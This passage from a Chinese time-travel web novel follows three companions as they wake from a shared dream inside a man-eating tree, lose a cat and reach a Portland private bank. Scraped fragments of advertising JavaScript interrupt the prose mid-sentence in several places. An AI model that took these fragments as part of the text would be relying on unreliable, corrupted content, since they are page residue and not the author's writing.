“是该睡觉了,傻瓜。”奥多娜屈指弹了莱纳德脑门一下,啧啧评价,“这瓜熟了。” “谢了,奥嘟。”莱纳德迷迷糊糊地闭上了眼睛。 黑暗再次降临。 莱纳德恍惚以为自己被关在了某个狭窄的衣柜里,柜门锁死了,而里面的氧气正在慢慢耗尽……他忽然打了个冷战,惊恐地地等大了眼睛。 他是站着的。 眼前只有一片黑暗,连一丝光亮都没有。 这不像做梦,这里甚至不是衣柜,因为没有衣柜的四壁会紧紧贴在身上,而且还在不断裹紧,就像十一岁那年老肖恩洗缩水的毛衣被他套了八十件在身上,而那些毛衣上还趴满了饿极了的八爪鱼。 莱纳德只觉得自己快要被挤扁了,他仰起头,拼命抬起手想把裹在身上的东西推开,结果右手忽然一空,竟然戳了出去! 他半条胳膊挂在板壁之外,握手成拳挥动了半天,却只碰到了空气——总比摸到八爪鱼的触手好,这个念头从脑海里一闪而过,也不知该觉得滑稽还是可怖——他把胳膊反摆回来,摸到了挡在他身体欠的坚硬板壁,质地似乎是木头。 又是木头,该死的木头。 莱纳德被挤得心砰砰狂跳,依然喘不上气来,更糟糕的是,他能感受到肺里最后的氧气正快速燃烧殆尽,就像黏在烛芯上的一点残蜡。 必须做点什么。 他右手按住板壁,整个人拼命使劲,像敏豪生男爵拽着辫子把自己从沼泽地里拔出来一样 ,一点一点,从板壁里往外顶——先是肩膀,然后是下巴,最后是鼻子——呼吸到新鲜空气的那一刻,他四肢百骸里仿佛霎时注入了力量,一鼓作气之下,竟真的把脑袋探了出去! “上帝啊……” 看清了眼前的房间,莱纳德的心顿时凉了半截,再一低头,一颗心更是几乎停跳——他大半个身子都埋在了木墙里,只有右臂和脑袋勉强逃脱——是那堵吃人的木墙。 他怎么会跑到墙里? “以利亚!” “奥多娜!” 莱纳德喘了口气,提高声音又叫了一遍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,却仍无人应答,他使出吃奶的劲拼命一顶,身体钳制终于松开,整个人滚倒在了地板上。 “以利亚!”莱纳德连打了几个滚远离木墙,瘫在地上直喘粗气,直到剧烈的心跳和呼吸平复下去,他才注意到,四周太安静了,别说以利亚和奥多娜在楼上不可能听不到他,这屋里但凡还有别的活物,都不会像现在这样落针可闻。 连那场仿佛要下到地老天荒的雨竟也停了。 莱纳德翻身爬起来,顾不得多想,拔腿奔上二楼,靴子在吱呀作响的木头楼梯上踩出一连串“咚咚咚”的声响。 他知道是心理作用,但那听起来真的很像讥刺的冷笑。 如果木头也会冷笑的话。 莱纳德很确定楼上有三间屋子,他们选了最靠近楼梯口的一间,理由是一旦出事方便跑路,奥多娜说那样也方便了敌人夜袭,并且大大节省他们准备迎敌的时间。 而以利亚相信不管什么样的敌人,偷袭也好强攻也罢,一个前时间特工加上她准备的两大包武器肯定都能应付,不会有大问题的。 但眼下,显然出了什么问题。 因为楼上压根就没有房间。 莱纳德还想在叫几声,但他瞪着空荡荡的破旧走廊,和黑暗中如同蛰伏的怪物一般堆放在地上的杂物,声音就像卡在了喉咙里,上不去也下不来。 他相信自己就真的算叫出来,肯定也不比受伤的猫头鹰好听到哪儿去。 没有房间,也没有以利亚和奥多娜。 莱纳德站在楼梯上发了会呆,忽然拔腿跑回楼下,冲到门口,两手齐上摸索着门框,找到了,三个弹孔,奥多娜开枪自卫时留下的。而当他们在森林里迷路,重新走回木屋时,莱纳德还特地检查过门框,发现弹孔消失了。那时他以为是木头作怪,而现在…… 他试图从这一堆凌乱的线头里拎出最关键的那条,可所有的线索都纠缠在一起,当你把它们一一解开,就会发现线头的末端都指向一个令人毛骨悚然的结论——那个木屋不是真实的,二楼的房间也不是真实的,森林不是真实的,那场暴风雨更不是真实的。 他们根本就没有离开过这间天杀的木屋。 莱纳德走到木墙前,回想着他们从木墙里营救奥多娜的情形,那些画面像滑稽片似的涌现在他脑海—— 以利亚在射击,子弹射进木墙,却没能把木头打个稀巴烂,事实上,连块木屑都没崩出来,那些子弹造成的伤害还不如用棉花糖去伤害一只猫咪。 他拉住了奥多娜,但同时,木墙里伸出的触手也抓住了他。 然后呢? 他们真的成功把奥多娜来出来,逃出了木屋吗? 当你排除了所有不可能的选项,剩下的不管多难以置信,也一定是真实的。 “这是基本常识,”莱纳德喃喃说道,“华生。”他伸出手,指尖触到墙面,努力克制着把手收回来掉头就跑的冲动,木墙上轻微的凹凸起伏同上一次触碰的感觉极其相似。 莱纳德深深吸了一口气,现在他知道以利亚和奥多娜在哪里了。 他们还在墙里。 而另一个基本常识是,想要把以利亚和奥多娜从墙里拉出来,他就必须回去,回到那个暴风雨永不停歇的梦里,才能把他们叫醒。 “对吧?福尔摩斯。” 87.第十八章:杰罗尼莫 后半夜以利亚没再睡觉,他坐在床沿上,借着窗外的夜色打量莱纳德透着病态样殷红的颧骨,听着他翻身时不自觉的梦呓。 也许又是个噩梦。 暴风雨不知什么时候停了,月亮再次从云里冒出头来。 “嘿,聪明鬼。”奥多娜在后面叫他,声音压得很低。 “我就当你是在叫我了。”以利亚回过头。 “当然,你们俩里你一直是聪明的那个,”奥多娜的眼睛亮晶晶的,带着玩味的笑意,抬了抬下巴,“他是那个多情傻瓜。” “他不是傻瓜。”以利亚冷静地回答。 “你也觉得他多情咯?” “重感情和多情是两码事。” “好吧,我持保留意见。”奥多娜盘腿坐起来,两条胳膊放松地搭在膝盖上,“所以你们两个是怎么回事?别,别说时间错位,或者滑脱,一回事,这一点我已经知道了。” “那我不明白你还想问什么。” “没看出来嘛,你还是个装傻高手。” “说起装傻,你好像对来缅因的理由也有所保留,我没猜错吧?” “真会转移话题。” “承让。” 奥多娜安静了一会儿,忽然问:“等咱们离开这个鬼地方,你还打算继续时间旅行吗?” “当然,”以利亚目光闪动,“为什么?你打算收手了?” 奥多娜一耸肩:“你知道,时间旅行是个危险的游戏,总有一天麻烦会追上来。”她顿了顿,意有所指地瞟了莱纳德一眼,“对你来说,朋友来了又走,却没法长久。” 以利亚默然片刻:“莱纳德告诉我,他现在跟你一起旅行了。” “森林徒步旅行?”奥多娜故意装傻。 “时空旅行。”以利亚纠正道。 “真是个不错的小伙子,很坦诚。”奥多娜吹了声口哨,“我告诉过你吗?我喜欢金发。” 以利亚含义不明地“嗯”了一声。 奥多娜笑嘻嘻地眨眨眼睛:“虽然即便对于金发仔来说,他也够迟钝了,你说呢?” “喂,你们俩。”床另一边,莱纳德忽然出声了,以利亚和奥多娜都吓了一跳,天知道他醒过来多久了。“叽叽咕咕地说什么呢?” “不睡了?”以利亚扭回来,伸手去捞床头的水杯,“还是渴了?” 莱纳德拒绝了以利亚递过来的水,坐起来,但高烧未退,他脑袋还是晕的,像是装满了热烘烘、沉甸甸的浆糊,现在想来,在梦里生病也许只是他快要在现实中醒来的征兆。 最好让这点保持下去。 “天还黑着呢,你就急着起床。”奥多娜爬上木床,从以利亚旁边探出头来,“你烧退了?” 以利亚伸长胳膊摸了摸莱纳德的脑门,眉头紧皱:“比刚才烧得更厉害了。” “我没事。”莱纳德勉强打起精神,“听我说,这很重要,我们现在很危险。” 奥多娜翻了个白眼:“我们不是一直很危险吗?” 以利亚抬肘怼了她一下,问莱纳德:“怎么说?” 莱纳德吸了口气:“这不是真的,看看周围,这木屋,这些房间,都不是真的。奥多娜,如果你当初上楼检查过,肯定会记得,二楼压根没有房间。”他连珠炮似的说道,语速飞快,不给奥多娜插嘴的机会,“因为这是梦,明白吗?我们三个都在做梦。” 以利亚神情凝重:“你在说什么?” 奥多娜更直接:“金毛儿,你是不是烧糊涂了?” 莱纳德何止是烧,他都快烧开了:“我没有!你们俩没听我说话吗?这是梦,我们被木墙吃了,那见鬼的木头现在多半正在消化我们呢!” 以利亚和奥多娜面面相觑,脸都沉了下来,奥多娜没再说风凉话,反问:“你怎么知道的?就因为我们在森林里迷路,又绕回了木屋?” 莱纳德盯着她,一字一顿:“你带的路,你最清楚我们是不是迷路绕回来的。” “也许是另一个木屋呢。”奥多娜目光闪动,她在思考,莱纳德迟钝地想,这是个好现象,因为他已经快要失去思考能力了,足足过了好几秒,他才吃力地说:“同一片森林里,一模一样的两间木屋?你不觉得奇怪吗?” “那也没有三个人一起做梦奇怪。”奥多娜搓了搓手臂上的鸡皮疙瘩,“再说,你明明把我从墙里拽出来了,这我可记得清清楚楚。” 莱纳德摇了摇头,脑仁险些撞破脑壳飞出去,他连忙伸手扶住了脑袋。 得抓紧时间了。 “梦总会给自己找到解释,”以利亚忽然说,“如果那木墙真能够催眠人,它当然要确保入梦的人不会察觉。” 奥多娜嘀咕了一句,听着很像是咒骂。 以利亚看向莱纳德:“但我还是要问,你怎么知道我们是在做梦的?” “我可以解释。”莱纳德稍稍喘了几口气,把他醒来发现自己卡在木墙里的事讲了一遍,奥多娜立刻追问:“你怎么知道那不是做梦?这种事谁都碰到过,做梦,以为自己醒来了,但其实只是陷进了更深的梦里。” 莱纳德一愣:“我就是知道。” “无意冒犯,”奥多娜撇撇嘴,“但你都烧成这样了,更别提还吃了药。”她作势去拿药瓶,嘀嘀咕咕,“不会过期了吧……” “喂,这跟药没关系。”莱纳德恼怒地一把拍掉奥多娜手里的药瓶,提高嗓门,同时感到鼻孔像龙一样喷出了火,天呐,他下一刻是不是要直接飞起来了? “冷静点,先生,这对你的体温可没好处。” “发烧是因为我快要醒了!对做梦的人来说,现实中的清醒反而意味着混沌,光亮反而意味着黑暗,”莱纳德瞪着奥多娜,“你没看过《禁闭岛》吗?” 奥多娜淡淡地回答:“没看过。” 莱纳德呻吟一声,烦躁地抓了抓头发,把原本就睡得乱糟糟的金发揉得像个时髦鸟窝:“算了,也不是什么好比喻。”他忽然定定地看住奥多娜,在对方发问之前,就一把抓住她的手,用力拉到自己跟前。 奥多娜夸张地尖叫一声,整个人栽到了床下边,要不是顾忌着莱纳德还在发烧,铁定会砸到他身上。 “行了,别玩了。”莱纳德把奥多娜的手举到她自己面前,“看出来了吗?” “看出来什么?”奥多娜疑惑地看着自己的右手掌心,脸色忽然一变,骂道,“见鬼,真他妈活见鬼。”一边翻来覆去地把自己两只手看了几遍,但早在检查之前,她就清楚哪里出问题了——在进入森林前,她的右手被莱纳德身上的符咒伤到,留下了一个伤口。 可现在她的手心却光滑平整,除了掌纹外没有一丝痕迹。 那道三分深的伤口绝无可能在这短短半天时间里自己愈合,甚至连伤疤都没留下。更何况,莱纳德还用十层纱布把她的手裹得跟熊掌一样。 最关键的一个问题,她怎么会忘记这档子事的? 奥多娜盯着自己的手掌心,忽然打了个喷嚏。 “大脑的自我保护机制。”以利亚在一旁开口,他也看着自己的右手,那上面原本有一条匕首留下的刀伤,现在却不翼而飞了,“虽然身体陷入了深眠,但大脑有一部分意识到身处险境,仍然在努力提醒咱们。”以利亚挥了挥手指,“就像这间逃不脱的木屋。” “就像《盗梦空间》。”莱纳德接口说道,不是什么好比喻,他知道。 奥多娜阴郁地笑笑:“很高兴并不是我辨别方向的能力出了问题。” “莱尼,你刚才说你从木墙里逃出去了,”以利亚忽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然问,“你怎么会回到这里的?” 莱纳德叹气:“因为我又钻回去了。” “钻回墙里?”奥多娜脱口骂道,“你脑子有毛病啊?” 莱纳德又叹了口气,无言以对,说实话,他现在也开始这么觉得了。 “莱尼回来是为了叫醒咱们。”以利亚替他说道。 奥多娜拖长音调“哦”了一声,差点把白眼翻到天花板上:“莱尼小子,我给你准备的满满一背包武器你不用,非要钻进墙里来跟大家一起做梦,我应该为此觉得感动吗?” “武器我们试过了,用蛮力拉也被证明没有用,反而被拽进了墙里,”莱纳德耐心地说,同时也感到耐心正在迅速耗尽,“只有醒过来,我们才有机会。” “怎么醒?”奥多娜乜他一眼,似笑非笑,“问你借点流感病毒?”说完又打了个喷嚏,捂着鼻子哼道:“看起来你已经传染给我了。” “开心点,这说明你快要醒了。” “好吧,下一个阶段是什么?坠落感?” “我说不清,上一次醒来之前我还在这里做过梦,梦中梦,所以倒头就睡可能也不是个明智的选择。” “那我们还有多少时间?在被那该死的木头消化掉之前。” “不知道。” “拜托,好歹也给点建设性意见,你刚才不是醒过来了嘛,也不检查下自己身上有没有缺了哪个零件?” “没有,但我没事,梦里的时间流速跟现实里不一样,我猜。” “哦,这说法可真让人欣慰,啊啾——” “Gesundheit.”莱纳德用德语祝她健康,顺手送上卫生纸,打趣道:“听起来是个‘建设性’意见。” 奥多娜捏着鼻子反唇相讥:“比不上你有建设性,明明都脱离险境了还非要再像只傻乎乎的兔子一样往同一个陷阱里跳,说真的,你还不如去找锤子来把那该死的墙砸了。” “然后发现你们也被砸成碎片了?” “好了,现在不是斗嘴的时候。”以利亚开口打断两人,严厉地看着他们,“我们需要尽快行动起来,而不是浪费时间。” “说得好,”奥多娜拍了拍手,“你真该把这句话印在T恤上。” 以利亚不理会她,沉声说道:“接受现实,接受我们现在的处境,然后努力醒过来。”他的目光理智、冷静,慢慢扫过莱纳德和奥多娜,叹了口气:“奥多娜,拜托,把你的鼻涕擦一擦。” 奥多娜翻了个白眼,但还是用力把卫生纸盖在了自己鼻子上。 莱纳德回想上一次睡着前的感受,说道:“闭上眼睛,集中注意力感受被木头裹住的窒息感和压迫感,试着放大它,如果头晕、难受,那只说明我们离清醒更近了一步。” 他伸出右手握住以利亚,另一只手握住奥多娜,示意他们也拉住手,三人围成了一个圈。 以利亚说道:“记住,等我们醒过来,木头墙不会再像上次那么好对付了,它会用尽一切手段把咱们再扯回去的。” “小心别被那些木头触须缠住。” “子弹不管用,但也许我们可以用冷兵器,还有火。” “我有匕首,莱尼小子,打火机在你的背包侧兜里,另一边的侧兜里有卫生纸可以引火,说起卫生纸……啊啾!见鬼,真希望我们带着汽油,能好好教训一下这鬼东西。” “听起来是个计划,大家准备好了吗?” “嗯。” “祝我们好运。” “别逗了,我们从来没有那玩意儿。” “那你让我说什么,杰罗尼莫?” “杰罗尼莫听起来不错。” “天呐,我正跟两个傻子一起做梦,上帝快叫醒我吧。” “杰罗尼莫!” 88.第 88 章 第十九章:黎明 “杰罗尼莫!” 莱纳德率先醒来,有了上一次的经验,挣脱变得更容易了些。 也就是说,他不会再像个卡在墙里的傻子一样大喊大叫了。 至少不会喊出声来。 这回换奥多娜上演《惊声尖叫》,为今夜的狂欢派对画上一个圆满句号。 “抓住我,嘿,抓住我!”莱纳德一落地就回身抓住了奥多娜的手腕,对方的上半身已经脱离了木墙,右手挥舞着□□,正一边像电影里那个看恐怖片的女大学生一样大声尖叫,一边有条不紊地把试图再次缠住她的木头触须一一割断。 莱纳德再次庆幸奥多娜是个特工,换成任何其他人,可能早就被眼前的疯狂场景逼得手足无措了。 而奥多娜作为一名特工远不止是合格而已。 以利亚的处境不算太糟糕,趁着木墙集中对付奥多娜,他成功把自己从墙里拔了出来,立刻扑向莱纳德,抓住他的背包,摸索着把打火机和卫生纸掏了出来,飞快地搓了几条火引子出来。 “快点!我要点火了!” “马——上——”莱纳德咬紧牙关,“奥多娜,把另一只手也给我!” “腾——不——出——手!”奥多娜说完又劈手斩断一条木须,她有一条腿已经挣出了一半,但此刻只有她一个人还困在墙里,那些木须疯了一样只朝她一个发起攻击,搞得她左支右绌,好不狼狈。 “信我!”莱纳德提高了嗓门。 奥多娜一咬牙,反手把匕首叼在嘴里,然后伸长胳膊抓住了莱纳德。 莱纳德立刻抓紧了她,冲以利亚喊道:“就是现在!” 以利亚将点燃的火引子丢向了木墙。 轰—— 并不是木墙烧着了或是炸了,而是某种来自木屋更深处的震动,木墙表面簌簌抖动起来,所有伸出的木头触须都在一刹那间碎成了齑粉。 木头怕火,的确是亘古不变的真理。 藏着怪物的木头也是一样。 奥多娜只觉得两条腿上的禁锢一松,整个人被莱纳德拉得向外扑去,失去平衡之际,她竟还来得及偏过头,好让匕首尖别在莱纳德那张漂亮的脸蛋上留下什么永久性痕迹。 “跑!”以利亚大喊。 莱纳德和奥多娜摔倒在地,奥多娜不等爬起来就发出一连串咒骂,她衣服和头发里粘了不少细小的骨头,后来才确定属于某种禽类,想想他们一开始在房屋角落看到的那些爪印,着实令人不寒而栗。 如果不是莱纳德及时醒来,他们变成一堆尘封在木头里的枯骨也只是个时间问题。 但眼下还没人有精力去思考这么深远的问题,以利亚一声令下,三个人都一齐向门外狂奔而去。 “别恋战!” “去他的!必须给这狗娘养的一点颜色尝尝。”奥多娜从背包里摸出手榴弹,拉开几步距离后,朝敞开的门丢了过去。“趴下!” 这一次的巨响可要惊天动地得多。 莱纳德抱头趴倒在草地上,后背感受到一阵混合着木屑和碎块的热浪。 “见鬼,你就不能提前打个招呼吗?”他吐出一口带血丝的唾沫,摸了摸侧脸上被碎石子割出的小口子,痛得瑟缩了一下。 “我喊了趴下你没听见吗?”奥多娜扶着腰爬起来,脸上也带着痛楚的表情,她边说边回过头,脸色立刻变了,“该死的,这是他妈的什么情况?” 莱纳德跟着回过头去,也呆住了。 ——被手榴弹洗劫过的草地一片焦黑,而那片地面上,木屋竟赫然消失了! 只有一棵折断的大树凄惨地倒在地上,树干足有五人合抱,却断得彻底,好像刚刚经历了一场糟糕的下腰意外。 “拜托,别告诉我这还是个梦。”奥多娜嘟囔道,一边咒骂着把缠在头发里的细骨头择出来。“那该死的木屋去哪儿了?” “我什么都不知道了,除了那棵树十有八九是被你的手榴弹炸断的。”莱纳德摸着后脑勺,“嘶”了一声,那地方有根筋突突直跳,至少疼痛的感觉很真实,空气里的硝烟味道也很真实,闻起来就像是哥德堡战壕里的圣诞节。 但实话实说,这半天里,他已经见识过太多过于真实的梦境了。 “不是梦。”以利亚的声音一如既往的振奋人心,他伸手把莱纳德拉起来,转头看向不久前还立着小木屋的那片空地,指了指拦腰折断的大树,“那棵是蜃树。” “蜃树?” “顾名思义,蜃树散发的脂香有催眠的作用,能够引人进入梦境。” “等等,所以那栋木屋不存在,我们自始至终看到的都是这棵该死的树?” “没错。” “吃人的树?” “人,鸟,小动物,”以利亚漫不经心地列举,“还有昆虫,它不挑食。” “活见鬼。”奥多娜低声咒骂,把手里的细骨头能扔多远扔多远,“真是活见鬼。” 莱纳德忽然心里一紧,扭头看向以利亚:“那你又是怎么……”在梦里,他甚至一度以为以利亚只是他梦境的产物,但谢天谢地,以利亚还在自己眼前,摸得到看得着。 “就像我说的,时间滑脱。”以利亚耸耸肩,“只不过落点很糟糕,谁让时空旅行在梦里总是要容易得多呢?我得承认,关于这点奥多娜说得很对,福尔图娜在上 ,我们从来没有好运气。” 但莱纳德却并没被说服,他皱起眉,喃喃道:“不,不止是时间滑脱,是我、是我把你拉过来的,因为那时候我遇到了危险,而你是我第一个想到的人,我是说,能帮忙的人。” 一个想法从他脑海深处冒出来,清晰得像钟鸣,那么肯定、那么有说服力,就像勾股定理一样,你知道了两条边的长度,嘭,第三条边长就这么算出来了,绝对不会出错。 他看向以利亚,脱口而出:“这是黑魔法,对不对?” 以利亚显然没料到莱纳德会说出这话来,一仰头,灰眼睛里的惊愕显露无疑:“你在说什么?” 莱纳德一字一顿:“黑魔法,不是吗?”他看向奥多娜,实事求是地说:“我们不久前还遇到了两个难缠的东西,我不知道是怎么对付它们的,那些咒语,就像是自己冒出来的。”他顿了顿,“就像它们早就在我身体里一样。” 奥多娜嘴唇动了动,似乎想说什么,却还是闭上了嘴。 “别多想,好吗?”以利亚皱起眉,但语气还算轻快,“并不是所有的魔法都是黑魔法。” 莱纳德恍若未闻,自顾自说道:“我真是太傻了,早在芝兰蒂亚,那个海底王国,还记得吗?” 他用力抓着头发,像个余力不足的陀螺似的在原地打转:“珊瑚提到我跟他们存在某种联系,但我以为那只是她离开海底的借口,原来根本不是那么回事,上帝啊,我是被诅咒了吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “莱纳德,听我说,嘿,听我说!”以利亚抓住他的肩膀,看起来很想摇晃他,后来他也的确这么做了,“不是你想的那样,这不是黑魔法!明白吗?” “以利亚,你要是想打算摆出霍格沃兹学院那一套来安慰我,我……” “嘘、嘘,安静,现在听我说,第一,你没有被诅咒。” “我不是……那只是种表达方式。” “第二,你会说那些咒语,是因为你本来就会说,我教给你的。”以利亚沉稳地看着莱纳德,手指用力扣住他的肩膀,“我们以前经历过这些,你只是不记得了,但你做过的那个关于女巫、三月兔和纳尼亚王国的梦多多少少能说明一些问题。” “梦?” 这可真是他现在最不想听到的一个词了,莱纳德愣了好半天,才想起来当初在金莫顿实验室里醒来时,以利亚的确告诉过他,那些关于魔橱的冒险只是个梦。 他还以为那荒诞的梦得归责于他那位热爱童话文学、又在他孩提时期就撂挑子走人的老爸呢。 “第三,我们需要离开这片森林,尽快。”以利亚又说。 莱纳德至少听进去了最后一点。 福特卡车停在路边。 走到近前,莱纳德才想起来,用力一拍脑门:“阿西莫夫还在车里!” “别急,”奥多娜慢悠悠地说,“我给窗户留了道缝,它会活下来的。” 以利亚还在状态之外:“谁?我们是在谈论艾萨克·阿西莫夫吗?科幻小说之父在那辆卡车里?” “哈,你想得美。” “阿西莫夫是我的猫,说来话长,等你见到就知道了。” 然而,几秒钟后的事态发展显然出乎所有人的意料。 阿西莫夫压根不在车里。 那只猫不翼而飞了。 “怎么会?这么窄的车窗缝连耗子都钻不过去。”莱纳德把后备箱检查翻了个底朝天,依然没见到那猫的影子,不由得感到几分绝望,“它到底怎么跑出去的?自己打开车门吗?” “车门是锁死的,除非它学会了短路打火,否则绝无可能。”奥多娜双臂交叉站在车旁,皱眉盯着驾驶位,好像打算把失踪的猫咪从车座位下揪出来似的。但几秒钟前,莱纳德刚把每个座位下面都摸了一遍,所以答案是没有,那只猫没有藏在这辆福特卡车的任何一个角落。 就算是薛定谔也该闻出一丝猫腻了。 莱纳德焦躁地捏紧手指,锤了车门一拳,愤愤道:“我知道猫不会开车,但事实证明存在某种可能,不是吗?阿西莫夫不见了,总有理由。” “但我们至少能排除阿西莫夫是那只穿靴子的猫,不是吗?” “那就是有人把它带走了。” “是啊,留着后备箱里的军火不偷,只偷走一只猫,谁会干这种事?”奥多娜讥刺道,“告诉我,金毛儿,你脑袋里想的是利维亚动物保护协会的疯狂会长吗?” “听这口气,你是代表那些不满足于拿小白鼠做实验的白大褂吗?” “得了吧,没人拿猫咪做实验。” “你怎么知道,就因为你是动物实验研究所的权威专家?” “你又是哪个见鬼研究所的专家?” “行了、行了。”以利亚打断这两个人的拌嘴,抬起手,掌心向外,比了个无奈的手势,叹气道,“现在谁来告诉我有关那只猫的事?” 89.第二十章:圣路易斯&莫蒂默私人银行 “我没理解错的话,那只猫是从另一个空间维度里跟你出来的?” 以利亚问这话的时候,他们距离波特兰市区还有半小时车程。绵延不休的绿意总算到了尽头,取而代之的是钢筋水泥搭建的丛林,汽车鸣笛和加油站里的嘈杂人声是后者特有的鸟鸣。 显然,不管之前森林里有任何灵异存在,此刻都被他们抛在了身后。 莱纳德不得不承认,再次听到这种喧嚣的感觉就像雪夜跋涉的旅客终于回到屋里,坐在舒适的扶手椅里,把脱掉靴子的双脚靠近火炉一样,疲惫却心怀安慰。 另一个好兆头是,电台终于断断续续地收到了信号,福克斯电台请到了大卫·杜楚尼来为他的热门剧集最终季做宣传,剧讲的什么莱纳德没太注意去听,但主持人过于频繁地提到“疯狂”这个词,大概能说明些问题。 “嗯,差不多算是吧。”莱纳德揉揉鼻子,回答了以利亚的问题。 “你忘记那朵不会凋谢的玫瑰花了。”奥多娜插嘴道,“我检查过,不是塑料制品也不是仿生花,我敢说是某种新的实验室产物,那猫说不定也是。你觉得呢?莱尼。” “咳,谢了,奥多娜。” 关于冒牌以利亚和他姨奶奶的海边小屋,莱纳德自觉不方便讲太多,但他更不打算顺着奥多娜的头脑风暴讨论疯狂动物实验室参与这件事的可能性,好在以利亚没有深追,转而问道:“你有没有想过,这只猫也许有穿越时空维度的能力?” “想过。”莱纳德闷闷地说。 这也是他答应继续上路的主要原因,虽然没少跟奥多娜顶嘴,但内心深处,莱纳德并不认为阿西莫夫是被猫科动物的野性支配决定回归大自然,于是用爪子打开车窗或者车门,最终消失在了缅因森林深处。 但他也同样不相信阿西莫夫会无缘无故地离开他。 “另一件事,”以利亚说,目光里闪动着难以捉摸的神色,“你们的下一个目的地,波特兰市,我能问问是为什么吗?” 莱纳德二话不说把那张写着地址的纸条递给他。 以利亚审视片刻,忽然开口:“我知道这个地方。” 莱纳德握着方向盘的手指不自觉一紧:“是什么地方?” 以利亚不答反问:“这纸条是谁给你的?” “一个坏家伙,”莱纳德犹豫地说,“听着,我不想剧透,所以别对答案太执着,好吗?” 以利亚不置可否地耸耸肩膀,低声说道:“时空旅行指南第42条,小心剧透。附则,如有剧透之必要,应当提前予以口头警告。” “什么指南?什么剧透?” “《时空旅行者漫游指南》,简称时空旅行指南。” “听起来很有用,能发我一份PDF吗?” “等我写完了会告诉你的。” “能先告诉我这个吗?舍尔曼大街169号到底是什么地方?”莱纳德不死心地追问,“呃,如果不涉及危险剧透的话,你懂的。” 以利亚想了想,回答道:“那里有一家私人银行。” “银行?” 以利亚瞥了莱纳德一眼,神情古怪地笑了笑:“听好了,这可是一则正式的剧透口头警告。” 莱纳德一愣,便听到以利亚紧跟着说道:“几年前,我在这家银行里租了一间私人仓库。” 他说着展开纸条,食指滑过最后那串字母和数字组合,扬起眉,似笑非笑,“巧得很,密码正是SVN904-233。” 圣路易斯&莫蒂默私人银行坐落在舍尔曼大街南端,门牌169号,此行的最终目的地。 福特卡车在街角停下,三个人各自从后视镜里审视这栋精致漂亮的巴洛克建筑,白色大理石门柱上用烫金花体雕刻着“圣路易斯&莫蒂默”,数不清的尖顶和椭圆形窗子让这家私人银行看起来如同一只巨大优雅的昆虫。 街上的其他建筑——民居、报亭、咖啡馆、杂货店——跟它一比立刻像麻雀一样黯然失色。 “你对安全屋的选择还是这么有特色。”莱纳德小声嘀咕,这还是他见过铜墙铁壁的实验室、芮内城的时间旅馆,和19世纪伦敦的洛克伍德公寓之后。 “圣路易斯&莫蒂默,每一位精英人士的安全之家。”奥多娜用唱诗般的语调念出银行门口广告牌上的字,然后嗤嗤地笑起来,“我简直等不及要看看咱们的精英人士会在安全之家里藏什么宝贝了。”她两手搭在颈后,在后座上舒展双腿,仿佛不是来冒险,而是来度假的。 以利亚翻了个白眼:“只要你们乐意去翻翻历史,我是说未来史,就会发现这家私人银行从1928年起就是舍尔曼大街的标志性建筑,选址很巧妙,历代经营者都不缺乏聪明头脑,它甚至成功熬过了两次全球经济大危机和第三次世界大战,主建筑完好无损,这才是安全屋的首选品质。” “等等,你刚才说第几次世界大战?” “顺便一提,”以利亚自顾自说下去,“作为时空旅行者,总有些东西不适合随身携带,就算你有全宇宙顶尖的时空飞船也一样。” 奥多娜接口道:“这也许就是神秘人大费周章把咱们引过来的理由,一个装满了宇宙奇货的潘多拉魔盒,还有一位有收藏癖的时空旅行者不定时开盒藏宝,顺便一提,那家伙还拿到了你的私人仓库密码。” 莱纳德说:“也许神秘人是为了得到仓库里的某样东西,表面上故弄玄虚,实则利用咱们开门。”他看看以利亚:“你觉得呢?” 以利亚摇摇头:“我想不出来,但那间仓库里完全可能有我从没见过的东西,别忘了,时间旅行。” 莱纳德悻悻道:“谢了,没人会忘记这点。” 奥多娜忽然说道:“如果我是神秘人,就干脆在仓库里装个生物识别炸弹,等你一走进去,砰——缅因州又多了一桩未解迷案,对这个地方来说可一点都不稀奇。” 莱纳德不敢苟同:“大费周章,就为了炸死我们?” “只是种表达方式罢了,也许你走进去会发现一篮子猫咪,然后不得不背负上豢养宠物的重任,最终沦为一个可悲的铲屎官。”奥多娜嗤嗤地笑起来,竖起食指,“明白了吗?神秘人先生可以把任何屎盆子扣到你脑袋上,只要他愿意。” “你不会想建议我们掉头回去吧?”莱纳德不可思议地看着她,“这可不像你的风格。” 奥多娜交叉双臂抱在胸前:“你在暗示我看起来像个莽夫吗?” 她挑起眉,又说:“都走到这一步了,没人会打退堂鼓,我只是提醒你们谁更有可能棋高一着。那句话怎么说的?再小心也不为过,对吧。” 以利亚一点头:“既要小心,也敢开门揖盗。” 他解开安全带,伸长胳膊拍拍莱纳德的肩膀,用沉稳有力的语调结束讨论:“走吧,多猜无益,不管是什么都得亲自去看看,这就叫做眼见为实。” 在以利亚亮出名片后,圣路易斯&莫蒂默私人银行的高级经理亲自出来迎接了他们。 既不是圣路易斯,也不是莫蒂默,布鲁克·安德森是一位眼睛湛蓝、皮肤发红的男士,性格十分容易激动,当安德森带着他二百一十磅的体重向他们走来时,莱纳德脑海里不由浮现出了他举着门口那块牌子大声念广告词的模样,好不容易才忍住涌上喉咙的笑意。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “以利亚先生,我最好的顾客,回来看看您的安全之家?”安德森朝以利亚伸出一只胖乎乎的手。 那满脸的笑容多半是看在他最好顾客支付的高额年租金的面子上,他甚至礼貌地容忍了奥多娜手里捏着的辣酱芥末热狗,后者坚持要保证冒险前的能量摄入,以及缓解任由糟糕司机掌握方向盘导致的晕车反应。 “没错,很高兴见到你,布鲁克,每次都是。”以利亚微笑着回答,握住安德森摇晃几下。 他身后,奥多娜一个劲朝莱纳德挤眉弄眼,借着热狗的掩护做出“精英人士”的口型。 莱纳德希望她赶紧把嘴里的东西咽下去。 像一对精英人士那样寒暄过后,安德森递给以利亚一张磁卡:“这是您仓库的β锁的钥匙,不用问,α锁的钥匙您一定带在身上,对吗?” 在得到肯定答复后,胖经理立刻爽朗地哈哈大笑,再三向以利亚保证,即便忘记这种小事,凭以利亚这样的优质客户,银行也完全乐意尽最大的可能帮他们解决问题。 奥多娜的白眼都快翻到后脑勺去了。 